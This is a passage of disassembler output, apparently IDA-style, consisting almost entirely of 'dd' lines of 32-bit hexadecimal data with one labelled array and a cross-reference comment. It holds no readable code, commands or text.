dd 22C8FF28h, 164900DAh, 0B30F9B52h, 5E04295Bh, 6457FE1Dh
dd 4500FA5Ch, 0D5679150h, 7B1E77E3h, 9580E836h, 0E94E2919h
dd 11CC3F75h, 309459AAh, 44D9D069h, 910027FEh, 6ACF07F5h
dd 7B4C6E8Ch, 9848E9DBh, 8DF70185h, 0B5DD7C50h, 11E1C043h
dd 0E5836908h, 3A9A02C3h, 0A7822FC2h, 30E09621h, 903A572h
dd 0AB6BF066h, 65711777h, 802C24B3h, 0B7CA4774h, 96EF8104h
dd 0C886887h, 92DB00C2h, 14597262h, 4383A05h, 0A2D1145Ch
dd 23AE8020h, 18DA062Eh, 0E152B613h, 92009046h, 59F27964h
dd 0C2ED60h, 0FAD110C3h, 788BE17h, 0C4D72524h, 0F55E041h
dd 0F73C770h, 5256FBA8h, 116C4512h, 0EE1400ECh, 0E0135DF4h
dd 0AE2EB83Dh, 5711B8BAh, 4EB9E91Fh, 0B8409B40h, 0EEF65F33h
dd 68F52901h, 0EDE8B2BEh, 295149E0h, 1E05352h, 825D39A3h
dd 40CD307Fh, 1A142400h, 998AA00Fh, 0BE1600F1h, 0BF3EC671h
dd 11034D82h, 66AA0D85h, 0E8790232h, 2915C27Ch, 0FDDDCC80h
dd 0B400308Fh, 615033ADh, 386EF76h, 9AC922B5h, 3907496Eh
dd 3BB4BCFAh, 47819110h, 0DEB80276h, 58CD6BA8h, 5753C068h
dd 0C611A9C0h, 0FC8F9394h, 0CEA53BD1h, 15361203h, 928891EFh
dd 409BD66Ch, 20A6301h, 0FC32D525h, 10105725h, 0E7481E14h
dd 9F6C09A1h, 5ED4879Ch, 3561B5A1h, 1BCE8DCh, 75F04097h
dd 0F5BEF4EFh, 15498048h, 22C64B1Ah, 0A97062Ch, 59115650h
dd 0B5215700h, 8CA32926h, 0F7E02FCh, 194EE5Ch, 0CD8E1440h
dd 0F8B157E0h, 78731500h, 71244FDEh, 0B21129CFh, 473838F8h
dd 4400B8A5h, 75EFF7CDh, 8B579939h, 1067DAEEh, 9F9B1F8h
dd 8D0833DEh, 55CCD300h, 0CE00E2A4h, 23EF73B6h, 91F92238h
dd 893B80DCh, 0ED51425Bh, 9892EB1Eh, 8D0F9AE8h, 41CD689Ch
dd 66546C0Eh, 43D73184h, 0E9D8800Bh, 8E0096D1h, 0A5278BECh
dd 12E8D4D0h, 0D1698A28h, 0CC929A4Ch, 1103B22Ah, 0A47E6B6Ch
dd 0B389A8C7h, 579B89Fh, 0B4D21D14h, 0CC988124h, 24627Ch
dd 85ADABC7h, 4100FCBh, 424651D6h, 0DC1C886Fh, 6CE38205h
dd 94001386h, 927F31B0h, 16EE7105h, 581D67Bh, 825D73A4h
dd 7C08CF1Ch, 10B8E409h, 7D8AE208h, 0CB5D0056h, 0C0F9272Eh
dd 0A00085B3h, 5FA8E83h, 4BE99F5h, 1DFD0C49h, 900C4DEh
dd 5448B744h, 1F1F5829h, 0A085B2A3h, 9082A76Ch, 3BDC4CD7h
dd 75AA2DDEh, 36070390h, 5F67CA8Dh, 0B0F135E0h, 4E4138C0h
dd 5856E005h, 52C0BC42h, 67DE96E7h, 14EB4B00h, 0A7D0B0E0h
dd 45ED3C4Fh, 292C9800h, 4A3B9FBEh, 0CC2EDD00h, 8408C4B3h
dd 56470083h, 0BB1E75EDh, 10B16EE7h, 0A9FA7B01h, 0BD85C71h
dd 0F523003Bh, 5F4865A1h, 0B20C4258h, 60201373h, 0DC190496h
dd 931B2856h, 16E8215Ch, 0B6306B78h, 0F3ACE94Bh, 0F6E9005Eh
dd 0CB45C36Ah, 0DB168236h, 0DC24EB56h, 0D43F23C0h, 574014FCh
dd 720E2852h, 0F09DEDADh, 51189EE0h, 3F55E107h, 25029D85h
dd 4C5CECB1h, 3D0084CBh, 8805280Fh, 909A9D8Dh, 0CA8FBD0Bh
dd 0C890907Bh, 88E900E5h, 78F5951Fh, 741FD6C6h, 9AC3EE10h
dd 0E9B9C4ECh, 0AC62B424h, 0BFE4FD7Dh, 5D2A0086h, 6BF5B8E7h
dd 971EA226h, 64E4191Dh
dd 16C1AE00h, 12B7B976h, 0C820A762h, 4600E278h, 805914B2h
dd 42E79A0h, 996FFC6Ah, 0FA01BF1Bh, 0A01A663h, 0A1037032h
dd 0BC2609EBh, 68055D0h, 143F4B00h, 4417278Dh, 6ABD0ACAh
dd 2A8B278h, 6F1EED35h, 32005452h, 96297297h, 446882h
dd 16348512h, 0FD7D46E0h, 1F6AC11Ch, 0B5F884C0h, 243F0DDBh
dd 80304FB7h, 0FE739A2Ah, 0EF0F504Ah, 80AD7F11h, 5C909F30h
dd 57CB0E1h, 9D37C21h, 0A6CC886Fh, 0B1291E02h, 763662CCh
dd 26F402BEh, 5CE468E8h, 214C1124h, 0BBFD8738h, 24B1235h
dd 0C49D66B8h, 0A5F88020h, 1046003Ch, 0BC862189h, 0D75211C0h
dd 0BB9900C8h, 39FC55A6h, 14B90497h, 89D81171h, 0C880DAC0h
dd 3F04C1CFh, 7D07E500h, 4DE0F1D4h, 1ECC175Ch, 71140273h
dd 1C40C5D2h, 0E1FC3CB5h, 0D1BB9D00h, 0CAB002C4h, 392A0798h
dd 3016DAE6h, 6EB9D35Ch, 0D81C8CB9h, 0FD0041ACh, 4F167149h
dd 0C74D1357h, 807C306Bh, 0DE909E35h, 5AF03000h, 0BB7905FDh
dd 2F4E001Fh, 68DADE11h, 6E4C84Dh, 4C547526h, 0B9130B40h
dd 33AE0253h, 43FF2A82h, 2CB54055h, 0FB22034Bh, 0C9DAC3BBh
dd 0C73DC802h, 445365D7h, 4EAE00A0h, 0EAA1F1DFh, 22E46669h
dd 0F486F492h, 96EB4Ch, 0A0AF02A9h, 0F8F799h, 8D3D3C21h
dd 5ABA6BC1h, 5EBDFB00h, 8CBEE9D5h, 0CF9B24E8h, 0E3990088h
dd 58A3DEBFh, 0DD1F78A8h, 0F223A10Eh, 7AB340CBh, 7A9432CEh
dd 51B7307Fh, 0BAF4B879h, 8883101h, 4BFC3BC9h, 0C04DCC60h
dd 86B7E121h, 0C41C4A22h, 2C063127h, 0C78CE9Eh, 0CFDE7FA5h
dd 1FF8071Ah, 5517EB12h, 6A40FC90h, 781800D1h, 2EACB2A0h
dd 0C4263CE2h, 0BA1DA813h, 74D01025h, 0A2AB00B2h, 5F15B8F9h
dd 70BE4F7h, 86891Ah, 11CC7A44h, 17349BBFh, 0B91008CDh
dd 9C655F05h, 7500E0A2h, 0C3BED9C4h, 27037288h, 0C884EFACh
dd 0E417F05Eh, 94A95468h, 97A70A81h, 25FC10E5h, 84513090h
dd 80B4D038h, 2FF72B23h, 17DE744Ch, 4E9C826h, 0E0636670h
dd 6A4A7B20h, 0CF45044h, 685098A2h, 0A46C2515h, 0A2655CA2h
dd 1476F0DAh, 0B84EE12Ch, 0A4043C13h, 1F7024h, 3F32B73Bh
dd 6CB17BCCh, 40275E0Eh, 0C53D5AA3h, 0AFBB0BB3h, 48184C3Ah
dd 0B2793189h, 0FB1C561Fh, 23535805h, 4328C840h, 0EA2F39E9h
dd 7B1D0274h, 0F04B6F90h, 3B984760h, 87056107h, 9D816C29h
dd 2062B52Ah, 0E831Fh, 0DDEE8D61h, 74099EDFh, 80573326h
dd 99A5E178h, 0DC1D0BE6h, 106490D1h, 24814409h, 570890BDh
dd 91E76250h, 0F0E355ECh, 9431ECEFh, 2000AEF2h, 0B2EAE6CFh
dd 82375Bh, 448F70E7h, 0A4E0578Dh, 0AB6C2014h, 751880E0h
dd 0BFD371h, 0B1E0DC52h, 9050C568h, 880268B8h, 0FFFB1476h
dd 6A3460C1h, 1DCE2CAAh, 1E5002BCh, 0A4E46563h, 0C8B63424h
dd 0FDF5D40h, 40D50152h, 0D593305h, 2DAEC4A7h, 65C233Dh
dd 0A446ECEFh, 7FC71F58h, 0DFBF40BEh, 5620F13Ah, 0E91AEE36h
dd 1B820078h, 0F268BC0Eh, 57E021DDh, 2F0C0384h, 0FA2BDFD2h
dd 8AD183F8h, 8296313Bh, 9BC33303h, 0A378E02Dh, 4BAF7F0Fh
dd 1E2C40B4h, 0E6CB129Dh, 791DDB7Ch, 911201AEh, 589084D8h
dd 6426C0A7h, 0E4605B0h, 510880E4h, 0AD12CBA6h, 8835A82Ah
dd 0C93DA207h, 960D9580h, 0B41448D6h, 6B7C440Ch, 0AE799759h
dd 39245601h, 0B5BF10F8h, 0B8F72CCh, 513BEE6h, 0A4AEA00Bh
dd 0AB2714A0h, 589A4412h, 1A9A7500h, 427FBDFEh, 72F1282h
dd 6354200Ah, 0D507038Ah, 532D3EDh, 9FB0CFF7h, 126FB140h
dd 20B512CCh, 734F4394h, 7EEC9800h, 1BA5DBE5h, 2FBE0314h
dd 88F43685h, 0B4404AB2h, 5707713h, 6C3DFB2Ch, 9BD53E00h
dd 0AB42C01h, 2FA2689Eh, 0FC803E98h, 267880BDh, 0EE0090B8h
dd 1787BE09h, 125A62B0h, 20B7EB43h, 9008218Ch, 1AE1CD00h
dd 8240486Bh, 565C175Ah, 87AC30F4h, 2D7AC5E4h, 5954FF7Dh
dd 0D17DDAFCh, 0D98DA300h, 371DF3B6h, 5CC1664h, 7D02EBB8h
dd 44EE43CAh, 30C03E58h, 63D1E102h, 2C40D808h, 902BB92h
dd 713F9E5h, 291440FBh, 1FF099B5h, 0AD6780F2h, 0E2175FE3h
dd 7C23E804h, 0CD006049h, 0A93B27CAh, 0BD9A3Ch, 9C635EB2h
dd 96F656DCh, 7C1AA59Ch, 0C075BC42h, 0EA66F6F7h, 0E4CF0EC1h
dd 9DA079B7h, 0E0ED507Fh, 0EAA6A700h, 0F5E30448h, 1F13785Dh
dd 1D6610h, 2E029E57h, 0AB05B4CFh, 1E16194Ch, 0B7802C87h
dd 916F408Eh, 20AB0034h, 5167B53Dh, 0AD577400h, 9C9846C1h
dd 3CEC98BBh, 7C98F337h, 0F581316Ch, 1381900h, 5E0BF61Ch
dd 0C1B600FEh, 2589A231h, 8816F805h, 28100D1Eh, 13751FA0h
dd 725780F2h, 526B0BECh, 70012C97h, 201C5D48h, 0EF3AB818h
dd 31E80122h, 19BB630Eh, 9A80F83Ch, 5BC689ECh, 804298C0h
dd 40B6151Ah, 0EA903E56h, 0B36D500h, 68662BF2h, 0F1630093h
dd 1D157546h, 14002811h, 2B88FDDCh, 0B01B1871h, 0A66C9608h
dd 0EF7E81BCh, 0C0BCD620h, 0E60BD185h, 907BD0D5h, 225BDD8h
dd 0D2702607h, 285A7C54h, 0B0C9D807h, 0B6E35E33h, 0AFDC9188h
dd 7C50C8h, 131A3A0Ch, 6F20E02Ch, 691D20B9h, 0A886FCC3h
dd 89E8888Bh, 1074091Dh, 0F0014AD7h, 0F895B427h, 69E05C49h
dd 0F80080B1h, 6530C124h, 598900D5h, 13A4D784h, 854B9E1Ch
dd 258FB420h, 0D2FA009Fh, 0EBA94043h, 0CE726C06h, 6DED21C0h
dd 1256DFDBh, 91A46BADh, 2016CE5Ch, 1371CFE4h, 2E3DA21Dh
dd 88289844h, 0EDB63480h, 0E55616E4h, 8948D033h, 0FB0027E9h
dd 1E74F1C7h, 0F4719521h, 206800BFh, 0C20F4AF7h, 0D2735C9Dh
dd 80B06E4Ch, 5ABFB8Eh, 665B07D1h, 4F483B1Bh, 0A7853E68h
dd 0FCC099CBh, 5DA8A5Dh, 253DD216h, 6938A4B2h, 7700AC99h
dd 5795BCEFh, 41A4BE6Ch, 0C043902Bh, 714C83D0h, 93BAC06Ch
dd 2C9DDCEh, 5494B388h, 3C664D75h, 0EE8B0900h, 0B23542F2h
dd 1F660078h, 251A6933h, 85F2E512h, 5B587600h, 77BAFA68h
dd 406F5E3Dh, 0EA3AE158h, 0A1EA97Dh, 0A27B75h, 0CE3315FBh
dd 5206B047h, 67E68900h, 584EA3C2h, 6870298Dh, 0E4F920E0h
dd 14FA05BFh, 0C53D8178h, 2104F559h, 317AEC4Dh, 2A752B00h
dd 0AB2FAA74h, 4F35006Ch, 7D11BB23h, 80F967DBh, 0F7624E51h
dd 7ECE9FFh, 0AE42159h, 13C200A6h, 3091C86Ch, 104BCB02h
dd 0A0C6D4h, 12E76932h, 81AE052Fh, 87CAA200h, 9673241Bh
dd 0E86A003Eh, 0D77AB0E0h, 261E5A2Dh, 247E9814h, 0FF605C05h
dd 2732ACh, 0EDE2AE74h, 0E1A81B20h, 0CA24F9EEh, 853EC0E4h
dd 6D7CD6F7h, 0B2699847h, 47170470h, 984B3932h, 680058B8h
dd 1DB6259Ch, 0A203CE9Dh, 0CDEF4940h, 14DA81E4h, 12315420h
dd 0B2E55533h, 66213Ch, 0CA3CD21Fh, 211304BAh, 0AC0B728Fh
dd 88C89B75h, 8168D6h, 1D2C668Ch, 468416C0h, 4B9BC907h
dd 2CCACF55h, 803F9708h, 0DEF58DB1h, 86019D14h, 7A0FC7F3h
dd 0CC603AA6h, 18467429h, 109579D0h, 0D700B475h, 0F26EAE20h
dd 0D46F7C58h, 0E5031549h, 5CBDAA44h, 0FC68739Fh, 9A519CD0h
dd 121D4C1Fh, 3DE244AEh, 0FC727Ch, 9C748AC4h, 8DDE4CBDh
dd 0B07B4400h, 399B1781h, 0EABC0094h, 5B9E667Ch, 5300193Fh
dd 0D09D88F9h, 607BA4CBh, 5B3C4955h, 41022EB1h, 6BAA23C4h
dd 61C85CABh, 6246FD87h, 0D60803B8h, 0D04C2A5Ah, 0A4C8F4h
dd 0B2EC195h, 73E7745Dh, 662C167Dh, 0B7444091h, 1C0C8h
dd 64C377FDh, 76919F9Bh
dd 9C7C2724h, 0E8D94943h, 2AF569h, 193DCFC5h, 8F1E7150h
dd 0CCE4A71Eh, 24F2AA12h, 0A0FB9A18h, 8609EF80h, 0EB697040h
dd 0E065B050h, 257C0F15h, 0DC177B4h, 0DB04C6DAh, 0C8BFD8D8h
dd 0BE39D7ECh, 54205E11h, 606C8110h, 436011E1h, 0ECB9A647h
dd 8831AC81h, 2DC9B003h, 7980A878h, 69A41AA9h, 0F95F3804h
dd 28B21724h, 77A77F0Ch, 4C4EC702h, 0B0EF5820h, 68C9005Ch
dd 57D382BFh, 0A30114A6h, 0D770E465h, 2A703556h, 6F7C90h
dd 51D845E5h, 473DB9E2h, 0FCD76C24h, 0A7ECCE41h, 2D1FC470h
dd 9C002D25h, 9CADA1BEh, 3C86EE03h, 1E5F68B2h, 0C91D6C31h
dd 7300092Bh, 0DB91CA63h, 6AD15A02h, 60BE2FD3h, 39F010E4h
dd 4C7A5028h, 0AE00008Ah, 3978FD47h, 1CE674B5h, 0CC01F03h
dd 0E9DB13EBh, 0E03C9A7Ch, 0A76CCD05h, 6CB23Fh, 85097EB5h
dd 1E0FAF19h, 0CA4A9Eh, 2C0C816h, 8097E3B3h, 3CF45CE8h
dd 69BE0347h, 2D4A39B8h, 29B0B3B0h, 0E14F258h, 80D1359Fh
dd 84F5EA0h, 75EF0CE4h, 86080568h, 7BBEBF13h, 0CDA66490h
dd 521A17FEh, 4F0C0067h, 739DCFE7h, 139FCC01h, 729A7FBEh
dd 2EEF0D0h, 0B9B26F99h, 4501DDFh, 0D9A9E501h, 0F356F141h
dd 0A861B079h, 30BEF4FAh, 0B7886FACh, 71B2041Eh, 85551B9Ch
dd 25F4B495h, 807D39C0h, 701E8FBh, 966C50F7h, 49F341B8h
dd 0E8F5D5A5h, 0BF2C9F13h, 0D20BCCD9h, 408800F1h, 953BCFB4h
dd 0DD50BC82h, 0EC018C52h, 0FD10D21Eh, 0F43086BBh, 849A01B8h
dd 15761A2Dh, 16C726Fh, 0FDC791F5h, 0D03968B7h, 113FF000h
dd 965B8CB6h, 0D1D14896h, 0C09D6868h, 200C93B1h, 2101AA17h
dd 0CDDEF8AFh, 48226F1Bh, 0FD1CC93Ah, 4B958048h, 36D7235Eh
dd 2427BBE0h, 1C448B3h, 0ACEEC1h, 3329E69Fh, 20C407A7h
dd 0D42BFD2Eh, 3658501Ch, 98AC9DE9h, 54C801A8h, 0D121F8Fh
dd 0FA24616Ah, 0C1714F21h, 0F6B3C2F8h, 0BD0800E1h, 413EEAFEh
dd 33DDA31h, 648CA656h, 666040A6h, 0C7E392h, 7FB1294Ah
dd 98A09D37h, 0DFDEF000h, 4DF7DC1Fh, 0B09A0F46h, 66021FDh
dd 4CB730ADh, 0CF5CFCA8h, 0F322DD00h, 72708A58h, 9F2E00F4h
dd 87796668h, 0DCE53A07h, 0B3006986h, 0C021C763h, 27D10158h
dd 9444499Bh, 4EBA844h, 37C1C8C6h, 7A088166h, 0AED2D006h
dd 98BF242Dh, 0A02745E4h, 0B2A679D0h, 0AB710338h, 0A75525BEh
dd 0E71FFE1Fh, 10F27092h, 77A8EB01h, 0E462D8DAh, 0F50C0FCCh
dd 0B0750632h, 0F4EE0E83h, 84614E0h, 94281107h, 0EB0178B5h
dd 1EC56427h, 0DD0A709h, 5A7D1F9Ah, 0B2120AE8h, 7202434h
dd 0C09D6C99h, 0ED56DC38h, 7964EB58h, 804C8327h, 0EEEF73FCh
dd 0E7970C96h, 0AFE85BF7h, 1D62423h, 2A6BDC96h, 9888415Dh
dd 0C8803059h, 40AC9684h, 76B0D543h, 0BC4E100h, 470A9F4Ah
dd 213095Ch, 4C487D25h, 0F3072B27h, 37B13A5Bh, 0D2B3E703h
dd 0A8D114h, 0B705C64h, 3200BFD4h, 96DED5C5h, 23F01AFh
dd 5C108767h, 54F1167Fh, 2FA54501h, 77F0C9AFh, 5E5600FEh
dd 3C328839h, 5A00D5C1h, 0B886FF5Bh, 97D21041h, 480F013h
dd 0A7003BF8h, 2BB11E8Ch, 2B2845CBh, 0F84B225h, 0C29E7A36h
dd 581B4EC5h, 6F0EB0DAh, 402E5611h, 0B2276C4h, 89A90FBEh
dd 26092510h, 0FA907480h, 3A096F7Fh, 0F2EB121Ch, 24FE0308h
dd 85051E4Eh, 11D2A601h, 57E0134Ah, 0B7CC7BF8h, 0EEFF8B60h
dd 79D6CD02h, 52B5DAADh, 0F6583AD0h, 0AE502E00h, 0E213B87Ch
dd 0F5507862h, 0F059A3h, 1921BBE5h, 7D5C1C3Fh, 0B8878084h
dd 0DC496Ah, 0C898676h, 0AC4B53D8h, 2B1E7EFEh, 1C086515h
dd 0EC57003Eh, 7B94A987h, 4250D90Eh, 26EF0005h
dword_544450 dd 6007DF0Eh, 189FB888h, 0E216017Ah, 0C001CCAh, 0D0EBD1CBh
; DATA XREF: ___:off_43D3D4o
dd 0B04E21h, 0B6639694h, 1E88387Bh, 73E94CC6h, 7C62991Fh
dd 46EB6A8Ah, 8A298060h, 9BA9C4FCh, 0A2D58300h, 0F4DCCC7h
dd 0C8914F67h, 38965970h, 13D86D00h, 4CC971BDh, 0A780387Bh
dd 378FFE23h, 6879690Bh, 605C8FDAh, 0C63F3C80h, 8911391Eh
dd 0C1169F89h, 0B0001C59h, 6FE4EBF7h, 0E849097Ah, 0D08BBF84h
dd 215758C8h, 0B2B84E00h, 0B4513380h, 9E2C1806h, 0CF9D90ADh
dd 9BE8D201h, 5D4E11CEh, 3828002Bh, 90D1AEB8h, 9840A8B6h
dd 0E38579h, 0E512265Bh, 0FAA5EB65h, 4C098C00h, 6EAF9F55h
dd 0E578886Ch, 6AE2B903h, 0A8C4688Ch, 9649E5Ah, 0EBC90DFFh
dd 720FE0C4h, 80E2F845h, 82E99B3Dh, 985D0425h, 0C0170F09h
dd 0B64D9D58h, 16838096h, 0F8EB3B85h, 7217C839h, 990A3C78h
dd 0E1ED5F00h, 0B6902091h, 7B80D49Eh, 280D2A1Ah, 0A3FD1F23h
dd 0BC41C0E9h, 57CD480Fh, 4445ECBCh, 9F09A6C0h, 1591014Eh
dd 568E815Ah, 202D53h, 6B799EA0h, 0E64E65h, 4B3392B7h
dd 2F8BAA57h, 0EC26C47Eh, 0A04FD867h, 0F218027h, 80189E72h
dd 2A54AD13h, 4F007B15h, 0BB498E90h, 0C869F8h, 0AFF672E3h
dd 9F06392Eh, 6C865Ch, 0B86CCC49h, 252D8978h, 0BCC45824h
dd 7CDBF700h, 335F9D13h, 0A53B00B0h, 0C91C3698h, 4C08648Fh
dd 40546AB1h, 725AEE85h, 7B48521Fh, 26002428h, 632E0E8Ah
dd 96B75F9h, 4689C9F1h, 41A52490h, 0FE040307h, 0CF904CF6h
dd 17693E6h, 7DD3AD49h, 21FA7890h, 3B50D128h, 0E5115821h
dd 7B3EB8BEh, 13273502h, 6CC02EA6h, 2413B4A7h, 385738B1h
dd 371088h, 564BC539h, 0BC33EAF7h, 72D0F500h, 2E5B1317h
dd 0CDD20132h, 0CA1FE02Ch, 9843223h, 0D1C78384h, 9ED300B4h
dd 0C85D72E7h, 74CE9100h, 7BEBC078h, 759FA66h, 5614DE7Eh
dd 0E555A235h, 9283705Ah, 9AA9FEA8h, 9D808091h, 0EDDB0112h
dd 6C641DF4h, 3030D8D6h, 46559165h, 0C7544CF0h, 951CEB00h
dd 0FD39BC53h, 30E31DD5h, 80499F6Bh, 5986462Ch, 0E01D2E8h
dd 0DAB4AE6Ah, 886026B1h, 8BD72996h, 4B0A83D0h, 0E7DB06E6h
dd 98F03780h, 23550425h, 83355A20h, 0F82988BFh, 2B1107EEh
dd 41B5D18Dh, 39976674h, 0B4D45018h, 8FB11904h, 48B2EB1Ah
dd 98287901h, 6B356987h, 0D59E0C30h, 6CBE5111h, 30C216Ah
dd 286A6045h, 0B054CB01h, 0ECB5A4A9h, 80D2D721h, 0BD38312Ch
dd 2CE601D6h, 435FBEFBh, 0A03315h, 0D10968B0h, 0B796720h
dd 6F41CBCFh, 10440410h, 0EB5E800h, 0B43268C9h, 3731005Bh
dd 51A5E174h, 0B3E48A89h, 0B5128579h, 2491D924h, 1062F657h
dd 28CEB300h, 1A47138Eh, 0D021AA00h, 63909BFBh, 4BEB5A56h
dd 5B801168h, 77F270ECh, 1600F3F4h, 0BF25299Fh, 23AFA88h
dd 36F4E706h, 1C435783h, 51DF16B8h, 5C686D15h, 1A911F8Ch
dd 5DBDABC0h, 8C5EC6h, 2CEBFB4Eh, 18A00111h, 45C41950h
dd 1B064209h, 919402D7h, 8040DC54h, 0C78090F0h, 6B0BB0A4h
dd 20207115h, 0E698139Ch, 9F6C1758h, 0A288129Eh, 0C0AC0128h
dd 7D30EC35h, 0B6018029h, 911BA178h, 2E0EF58h, 900249F0h
dd 3D6BFC26h, 40E05CE7h, 4C5B28EDh, 220084E6h, 63BE15E9h
dd 26F06F2h, 10C90448h, 54D26907h, 6DBBBD00h, 9F4C3213h
dd 220F0958h, 54818004h, 60E31185h, 0E52956DEh, 9300C4E6h
dd 23BBA378h, 0C60E17E0h, 205C172Eh, 315FF7D8h, 0DF186A03h
dd 0F8D9DB9Bh, 3F028449h, 3F04C616h, 0FD2499D3h, 288BE8h
dd 718FADF0h, 80D09E69h, 389A7598h, 0A000F7AFh, 70222ECh
dd 25D98F24h, 1C686966h, 0B4EE203Ah, 0E81EF402h, 0C041E07Fh
dd 0C0656778h, 541C0E58h, 0CA0F40D3h, 72B499BEh, 0A60E68A2h
dd 0F12089D5h, 1644C214h, 0CBEC7000h, 0E9C3AEE4h, 473F17D1h
dd 72A00913h, 2255D4E8h, 661ED1Fh, 0C359F207h, 0A7C0B035h
dd 4D420DFh, 9BEB2C6Bh, 0C468CCCDh, 53A69D00h, 7CFA62BAh
dd 146A095Dh, 6CC48C07h, 0C5055800h, 4E0D874Ch, 0B4B74846h
dd 50D45580h, 10977DD2h, 6C0FC0h, 8F129C0Bh, 0B2CBB192h
dd 0E7FFBC00h, 1458013Bh, 40E1506Ch, 0A89156h, 7252DC39h
dd 30B29CAh, 10B747FCh, 25FEE8h, 8395D8B3h, 30CA57CFh
dd 500F1700h, 581E6A81h, 0ECB7F446h, 0B4253319h, 24E03EB9h
dd 674FE884h, 4DD05CD7h, 7CD2235h, 0EFA46B5Bh, 63D2B07Dh
dd 3CE8DAA0h, 9FA06F5Ch, 23DFF280h, 0E248FAh, 6B8FBF46h
dd 0E393B00Ch, 98A448h, 0A62D2AA7h, 0B83C5FE2h, 0B09D00A8h
dd 0CE2039EEh, 5202CF9Fh, 5CE1F5CCh, 91C8F835h, 0F6AE80E8h
dd 0CBBDDCBEh, 0D1B7FE00h, 1880A681h, 8D080227h, 0B648C51Bh
dd 0C475C844h, 0A847EA02h, 0C5D9250Ch, 1C00BC74h, 5318AC98h
dd 400F3D0h, 54F186AEh, 3C458E74h, 3F89362Eh, 0FC0FAFF8h
dd 0D8646929h, 781E15FCh, 2540CFF9h, 29EEEDD5h, 65581269h
dd 0D8E29Bh, 0DD14C267h, 0B38A23h, 0FA7791B6h, 1F08BCE8h
dd 0E6CE504h, 6888B5E3h, 2A85008Dh, 767EF677h, 0D4F82D42h
dd 210A1300h, 65593E61h, 0A67479h, 88BDFCE2h, 0F80F2785h
dd 10125724h, 1B37C680h, 4ED95Bh, 52D2BF99h, 3D8494B6h
dd 0CE0B9C98h, 59285624h, 0AC5A076Ch, 0C858B925h, 0F7E8CC00h
dd 0A37EB388h, 0D5112CBEh, 1E8760F4h, 0DD274FAEh, 78DC2858h
dd 0B1E6C500h, 372FDF07h, 0C921B567h, 40AA5C84h, 12E47B6Fh
dd 5C620223h, 1D426524h, 0E20084D1h, 8B63B38Ch, 0A7110ED4h
dd 4093A3FFh, 0EB50C297h, 6A163F94h, 0F0B21481h, 0C0591B1Dh
dd 0F2D7A23h, 0B43EDE76h, 0A27982A4h, 405C750Bh, 97B0DC6h
dd 0C96BE47Dh, 685E4092h, 0E12CC240h, 0B5C42D5Bh, 0B49C1C68h
dd 3AFB1800h, 0DD508FC8h, 0C2AC1E5Dh, 0A28B82EDh, 0C60660Fh
dd 1F59E302h, 45278480h, 6A6C8853h, 4D1CF5B0h, 0C45CFEDDh
dd 0AF076FC0h, 18E77C30h, 4153B5F8h, 1100945Fh, 7139CF1Dh
dd 0FA2761h, 0B520C2BEh, 0AB93C874h, 0F8BF9C14h, 69B608D4h
dd 41541B72h, 0FFA820C5h, 330070CDh, 1CA901B7h, 59EAC57h
dd 19CA4C5Dh, 8FA4BC2Ah, 7107602Eh, 2C436D8Bh, 20CA290Fh
dd 0B65E009Ch, 5C8D2CA1h, 5CB91A37h, 5FDDCC87h, 4B7D3CD0h
dd 0FA9F0214h, 59AB551Ah, 79CEB448h, 0D14474B0h, 0F0A779Eh
dd 44B63FCCh, 159BD5E0h, 5D00C940h, 0DF4E101Eh, 0B4DD5705h
dd 959D80ECh, 35928359h, 14939000h, 0B6EEA624h, 26F70E2Ah
dd 7C00C92Dh, 4CE01DF8h, 0B160C60Bh, 95EC02D3h, 0AD50F166h
dd 4DC74890h, 8B658A38h, 3F90F48h, 0D7F4EBh, 2D723FCEh
dd 0E29D130Eh, 1EC89A00h, 0EE46AB86h, 1DBE00F4h, 125BEF05h
dd 2138D1BBh, 44C5Ch, 0F98662E5h, 407C057h, 730ABAFEh
dd 280AC4Ah, 0D6679172h, 4448C014h, 561F17DFh, 0FA84F4F3h
dd 77FEBB16h, 0AC4CC0B3h, 2401274Ch, 0E942218Ah, 0EDEBF8E5h
dd 10B5F47Eh, 1EC06508h, 4990711Bh, 8C10B507h, 0DF00C411h
dd 0F5181627h, 1FFD4CE9h, 3E19BF81h, 5AC5AA6h, 0C06FD84Bh
dd 553686E4h, 0A0AF6700h, 52C3D9Ch, 25397A3Ah, 0C4A046FEh
dd 1CD80F8Fh, 58BFBE00h, 6C4139EAh, 88B0067h, 0C2C185C3h
dd 0FB5824FFh, 252804D8h, 9DC4960Dh, 10A1488h, 0ADA54088h
dd 281018CBh, 1ADF8048h, 0FC5C19h, 0F91F374Dh, 82BDC6F4h
dd 1EE82114h, 3D9508BCh, 27809ABh, 1480CCD1h, 0BDC9A6D2h
dd 0F1DC026Fh, 66AA0223h
dd 7CBE1081h, 0D4B0E0A5h, 801C5C3Eh, 576886EEh, 0BCE9CE0h
dd 4311A616h, 0D03578D9h, 89025A80h, 78D3E6D7h, 58EB51B9h
dd 0A48800C3h, 0DC1C3A01h, 112D64ADh, 501018D9h, 0EF880029h
dd 0ED562773h, 874CB899h, 205C421Ch, 0F58200ACh, 4578BE77h
dd 2B029752h, 1A1F7FECh, 9A6840C1h, 0B50F10DBh, 6B3E0056h
dd 582F7AD2h, 0DCA5003Ah, 3F96CD05h, 2500774Ch, 0CCEF0783h
dd 7E22CAh, 5E1ABAA6h, 4F562B41h, 1E037C99h, 0D075D7CBh
dd 0F28F991Dh, 581425A2h, 7CAF80AFh, 0CB73BD40h, 87076204h
dd 0FACFCC95h, 0AAC968A0h, 892D0ABBh, 279066C6h, 74094410h
dd 5BF85000h, 0A5A90ED7h, 78EBF224h, 0EE1003BCh, 230180BFh
dd 884774DFh, 3F79FE30h, 0B5513700h, 0C8E3048h, 0BB67381Bh
dd 12226301h, 0D4A5E276h, 0CA78EFF2h, 9E01302h, 0F669AF93h
dd 1A4D80ECh, 0AC104FD4h, 922B7F00h, 6C45E2D0h, 0E9E8043Ch
dd 0A891A4EAh, 57A58318h, 0CE2FA8FCh, 18F802EBh, 24CFC4B0h
dd 0C9009051h, 74C4506h, 4E09003Ch, 2E7476B7h, 1A030A2Fh
dd 0E54F9D22h, 81C94A80h, 3C8B1688h, 0F4AB80B8h, 0E6F7C4A1h
dd 98080D77h, 211C1FF5h, 7E56C931h, 0B7FAD820h, 442A069Ah
dd 0A95FD255h, 21EA5630h, 39B117h, 98CE1B24h, 0F6A358B6h
dd 100377F0h, 67761699h, 0F420DD02h, 247C7EE7h, 4381AD1h
dd 0CC869DADh, 0A616C4CCh, 0B0001037h, 323BCF95h, 0A9990FA5h
dd 2066C69h, 0D4848130h, 2CD47300h, 0A08D90CCh, 0D75A00D3h
